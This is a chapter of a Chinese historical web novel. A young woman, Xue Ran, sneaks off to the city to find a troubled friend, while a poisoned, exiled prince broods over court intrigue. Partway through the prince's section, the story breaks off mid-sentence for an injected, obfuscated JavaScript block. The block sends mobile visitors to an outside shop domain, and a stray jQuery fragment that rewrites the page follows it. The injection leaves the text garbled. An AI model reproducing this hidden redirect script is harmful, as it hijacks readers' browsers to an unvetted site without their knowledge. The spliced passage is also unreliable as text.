雷殷殷，雨濛濛。
连忙几日，难得休息，因雨渐大，不得外出，又没什么趣味。
夜里大概又没睡好，迷迷糊糊像被人砍了一刀，呼痛无路，又似鬼压床，身上像是被压了千钧重。
书页摊在脸上，薛苒吹着纸页：“好无聊。”
苏合捻着针线，并不抬头看她：“小姐紧赶慢赶抢救了那批货，好好歇上一两日又何妨？”
“呆屋里头，哪里是歇？”
将书册拿开，见苏合眯着眼，线却总与针孔擦肩，薛苒道：“给我罢。”
她手稳，悬空对着那针眼儿，一下得中，得意洋洋还给苏合。
苏合笑接过：“小姐实在没趣味，不若递帖子请黄小姐来家中坐坐？”
薛苒想了想：“好主意。”
拢共也没多少手帕交，这两年议起婚嫁，都散作天星。
最亲近的两个，一个泼辣似火，前两年嫁去京畿了，只年节才得信，另一个便是这对门的黄家十三娘，黄灿。
黄老财屋里抬了一房又一房，生了二十来个儿女。黄家十五姝各有风情，还有七坨粪瞎眼睛。儿女太多，莺莺燕燕争宠不休，自然顾不过来。黄灿娘患了痨症，怕过了人直接远远送去庄子上，没一年就死了，黄灿性子怯懦，薛苒初时与其不大聊得来，但她偶然暴打了当时欺负黄灿的两坨屎，虽被压着道了歉，却成了黄灿的保护神。
黄灿去年初定下了婚期，好像是今冬腊月，一直忙着在家绣嫁妆，今年少有相聚的时候。黄家家底虽过得去，张嘴等分的太多，又是姑娘，哪里能落多少给她增脸？
“也不知她如何了……”
说到这又想起日前席翁被抓去黄家，不知所为何事。
两家对着门，哪有风声传不到？
苏合表示黄家神神秘秘的，席翁还是被带着偷摸从侧门进的。
薛苒：“总不能是甩不动籽了吧？”
苏合：“您可以不用说得这么粗的。”
……
午间落葵端饭来：“小姐，厨房煨了骨汤，婶娘早早去集上买的，可补呢。”
薛苒喝了口，汤色奶白清亮，清甜至极，加了冬瓜，减了几分腻味。
又一看落葵手背一小块红，一问才知是端来时没走稳，被烫到了，忙叫苏合去为她取烫伤膏子。
午后歇了会，醒时雨亦正歇，下意识喊苏合未有人应，这才想起似乎是去请灿灿了。
她心里莫名突突跳，为静下心，拿起苏合缝补的衣裳。
见是自己炮制穿的便服，便无所谓针脚美丑，顺带练起缝合。
缝合一术，她也只在雪团身上试过。那时它正是逞凶的年纪，一狗战三狗，虽险胜，依遍体鳞伤，得意地嗷一声，“砰”的倒地。
她吓得要死，野狗凶悍，齿牙深深嵌下去，撕裂开好大的口子，都在脖颈腹部要命的位置，白毛大半染成红。祖母去外地了，她请丫鬟去铺子里喊其他人，但见血流不止，左等右等不来，哭着将毛剪短，拿针烫过，试着缝补。
她缝得丑，落下蜈蚣一样的疤，时至今日雪团身上还凸着几道，只长几根稀疏的毛。
饶是如此，祖母回来还是夸她。
伤者命悬一刻的时候，她敢担起这条命，竭尽所能，就算不成，她也没有半点过错。
谁都没有万分的信心可以救下每个人。
忽的飘起了雨点，这几步路，苏合八成不会带雨具，便喊人送去。
一道雷闪划过，针刺指腹，血珠渗出来，怕脏了衣裳她忙吮掉，屋外急乱的脚步传入耳内。
窗在侧，她歪着看，却见苏合浑身湿漉漉，伞也不拿，扑门而入。
她一慌，手中衣服也落了地：“灿灿……灿灿怎么了？”
*
肩胛的刀伤不算太深，然而一夜过去，血依旧渗出，不知浸湿几条布帛。
他并未活动，只是——
这道伤……无法凝成痂。
只一层暂被风干的薄膜，哪怕只是情绪稍有波动，都会绽破，再渗鲜血。
燕归跪伏在地：“属下该死！未料贼人竟在刀刃上涂了毒……”
谢清源本就白皙的面皮因失血更显苍白，神魂像浸在水里，好像就快脱体而出，冷冷俯视这具残躯。
他恹恹道：“窦益欺我将死罢了，与你何干？”
一切都只怪——
先帝活得，实在太久太久了。
他的祖父谢晖，尸山血海里杀出的开国英主，暮年雷霆决断化为刚愎自用，文治武功则成了好大喜功，刻薄寡恩，更为求长生，罔顾人伦……
天下人都说，太子谢攸宁要谋逆。
太子做了几十年太子，积郁多年，竟当真做下糊涂事，事败被擒，祖父恨极，红了眼亲诛逆贼。
东宫一日染浸血色，他被从病榻上拖至銮殿。
惊惧之下他呕出的一口血溅在谢晖手中长剑之上，他气息奄奄，却一声不吭。
他只是在想……这柄剑斩了父兄，又诛东宫宫人，现下血归融一道，分不清你我，实在是最完满的团聚。
这位华发遍生的君主，望向他微颤的身子，却生出了不忍。
“唉，好孩子……不怪你，不怪你。”
“你父亲不懂事，朕已罚了，你为人子，自当为父消业。”
而后废为庶人，幽禁寺中十年，直到帝王大行前夜传唤。
“攸宁……攸宁，你可怪朕？”
他看着老者浑浊的眼，握住干如枯枝的手：“父王有罪，君父惩戒，岂有怨怼？”
老者含笑而逝，临前赦他，又赐号“昭”，之国合浦。
毁了他，再赦免他以彰恩德宽仁，最后还要再以一个意味不明的封号将他推悬刀剑之上。
叔父即位，遵先帝遗旨。
南越合浦南临大海，蕃舶岁至，更有盐场，可谓殷阜。
及至至此，才知湿热毒瘴，地方官员垄断、王令不行。
掣肘此间，尔来已有三载。
“三王之争，我同他们昔年多有龃龉，沦为池鱼，也是早晚的事。”
国医曾言寿不过二十，苟活至今，有些人不免生疑，不免急躁……
玉莲教……玉者，前朝国姓，郁也。
他疑心近年各地兴起的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861464|212013||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
邪教或与前朝有关联，而那些蠢货却只以围猎之势将其驱入合浦，落实他勾连之名。
可疏于管制之地并不止合浦钦州，朱敬言缘何自投罗网一般，选这条路？
气力渐失，无法思考，谢清源厌倦地合上眼：“将我绑起来。若醒不来……”
*
夜半，苏合央着车夫套车，自己要去探看乡下姐姐，娘家来信说是临产，她做了个血沥沥的梦，怕得不行，小姐开恩，放她去看看。
好多歹说，又塞了几锭银子，车夫小六就只得叽里咕噜地起夜套马。
薛苒心里打鼓，暗道好在她娘前两日去了闻溪镇上谈生意，糊弄家中仆妇简单多了。
屋内落葵哭丧着脸：“小姐…您饶了我吧，夫人回来，知道是我放的，我真没好果子吃…”
薛苒笑眯眯：“你是现在要吃，还是等几天再吃？”
落葵：“……”
认命地脱了外裳上床，蜷成一团。
“您早点回来。”
“一人做事一人当。”她刷刷写个条子，又看落葵，“对不住…但是…”
落葵一愣，手刀一劈，已是晕过去。
“这样才可信些，才更无辜点。”薛苒又将被子掖好，门窗关上。
换上落葵衣裳，又按着苏合的手保持平衡半蹲压着个子行走，实在难受。
晚上昏昏，守夜的婆子眼神不好，轻易被糊弄过去：“小葵？这是去哪？”
苏合胡说八道：“落葵害了疹子，爱美呢，小姐给了她膏子但是见效慢，我婶子刚好有个偏门，带她去瞧瞧。”
一番云里雾里的混出了门，及至鹤城，恰好天明。
薛苒略看了看，不知为何城门比往常多些守卫，出城竟还要排队盘查。
苏合知意，袖遮着递上几粒银瓜子：“大哥辛苦，买点解暑茶，那边是在干嘛呀？”
又赧然一笑：“我们不常进城，怕有什么忌讳，或者冲撞了什么，过两日出不得城。”
门卒颠了颠：“小姐安心便是，县令老爷家逃了个家奴，裹带了些财物，不殃及你们。”
薛苒点点头：“多谢。”
语罢放下帘布，忧心忡忡，不知是否同黄灿有关。
车轮骨碌碌，小六颤着声：“小、小姐……进城了。”
“找个客栈，回头我们出去，你要是敢偷偷报信……”
“小的明白！”
薛苒一夜同苏合轮番盯着小六，以防他偷偷转头，因最后这段是她盯着，此时实在有些困倦，便欲暂歇刻把钟，苏合先行打探消息，再回来交班。
岂料才沾枕头，有人叩窗。
薛苒：“……”
的确是窗，并非门。
她住二楼，不年不节，没道理现在爬上来擦窗吧？
她拔开窗闩，依稀想起来客栈院中是有棵合抱粗的树。
许砚舟神色不大好，几日不见，胡子拉碴，侧坐树上，树枝掩映，夏日里烈日灼木，少有人抬头观望，倒是几乎融为一体。
窗沿上还有几小颗石子，薛苒有些愣怔。
“又请我去见你家公子？”